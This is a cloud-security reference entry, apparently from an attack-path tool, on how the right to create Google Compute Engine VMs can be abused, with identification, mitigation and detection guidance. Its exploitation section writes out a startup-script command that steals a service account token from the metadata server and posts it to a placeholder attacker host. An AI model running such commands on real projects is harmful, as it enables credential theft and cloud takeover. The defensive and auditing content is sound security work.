GCP_CAN_CREATE_COMPUTE

Summary

FSProtect ACL Alias	GCP_CAN_CREATE_COMPUTE
GCP Alias	Compute Execution & Pipeline Pivots
Affected Object Types	Projects
Exploitation Certainty	Likely
Granting Roles	roles/owner, roles/editor, roles/compute.admin, roles/compute.instanceAdmin.v1

Description

GCP_CAN_CREATE_COMPUTE indicates that an identity can create Google Compute Engine (GCE) VM instances in a project by holding compute.instances.create permission. This edge is primarily a vehicle for completing other attack paths, most importantly the GCP_CAN_ACT_AS_SA path. By creating a VM attached to a high-privilege service account, an attacker can extract the SA's access token from the GCE metadata server.

This edge alone does not grant access to other identities' tokens. The full escalation requires:

1. GCP_CAN_ACT_AS_SA — permission to attach the target SA to a VM. → see GCP_CAN_ACT_AS_SA.

2. GCP_CAN_CREATE_COMPUTE — ability to create the VM itself.

Without both, VM creation may proceed but the attacker cannot attach a privileged SA.

Key abuse scenarios:

• Create a VM attached to a high-privilege SA → extract token from metadata server.

• Create a VM with a startup script that exfiltrates the attached SA's token on boot.

• Spin up a persistent attacker-controlled VM for command-and-control within the project VPC.

• Create GPU/high-CPU VMs to run cryptomining workloads (financial impact).

Identification

gcloud CLI

# Find who has compute creation rights
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|editor|compute.admin|compute.instanceAdmin.v1")) | {role: .role, members: .members}'

# List existing VMs and their service accounts
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email)"

# Check for recently created VMs (audit)
gcloud logging read \
    'protoPayload.methodName=~"compute.instances.insert"' \
  --project=$PROJECT_ID \
  --freshness=7d \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name)"

GCP Console

1. Open GCP Console → Compute Engine → VM Instances.

2. Review VMs and their associated service accounts.

3. Check IAM & Admin → IAM for principals with Compute Admin, Compute Instance Admin, Owner or Editor roles.

Exploitation

This path requires both GCP_CAN_ACT_AS_SA and GCP_CAN_CREATE_COMPUTE.

gcloud CLI

# Create a VM attached to a target SA with a startup script that exfiltrates the token
TARGET_SA="[email protected]"
PROJECT_ID="target-project"

gcloud compute instances create token-theft-vm \
  --project=$PROJECT_ID \
  --zone=us-central1-a \
  --machine-type=e2-micro \
  --service-account=$TARGET_SA \
  --scopes=cloud-platform \
  --metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
curl -X POST -d "$TOKEN" https://attacker-webhook.example.com/collect'

Alternative: SSH into the VM and extract the token interactively.

# Alternative: SSH into the VM and extract the token interactively
gcloud compute ssh token-theft-vm --project=$PROJECT_ID --zone=us-central1-a

# From inside the VM:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Mitigation

1. Restrict roles/compute.admin — use narrower compute roles (roles/compute.instanceAdmin.v1) where full admin is not required.

2. Enforce OS Login to require IAM authentication for SSH.

3. Require shielded VMs via org policy: constraints/compute.requireShieldedVm

4. Enable constraints/compute.vmCanIpForward=false to prevent IP forwarding abuse.

Detection

Log Type	Method	Key Fields
Admin Activity	*compute.instances.insert	resource.type=gce_instance, SA field in request
Admin Activity	*compute.instances.setServiceAccount	SA change on existing VM

gcloud logging read \
  'protoPayload.methodName=~"compute.instances.insert"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts[0].email)"

Alert on:

• VM creation by non-standard identities attaching high-privilege SAs.

• VMs created with startup scripts containing metadata server URLs.

• Metadata server token requests within minutes of VM creation (rapid token extraction pattern).

References

• https://cloud.google.com/compute/docs/access/service-accounts

• https://cloud.google.com/compute/docs/metadata/overview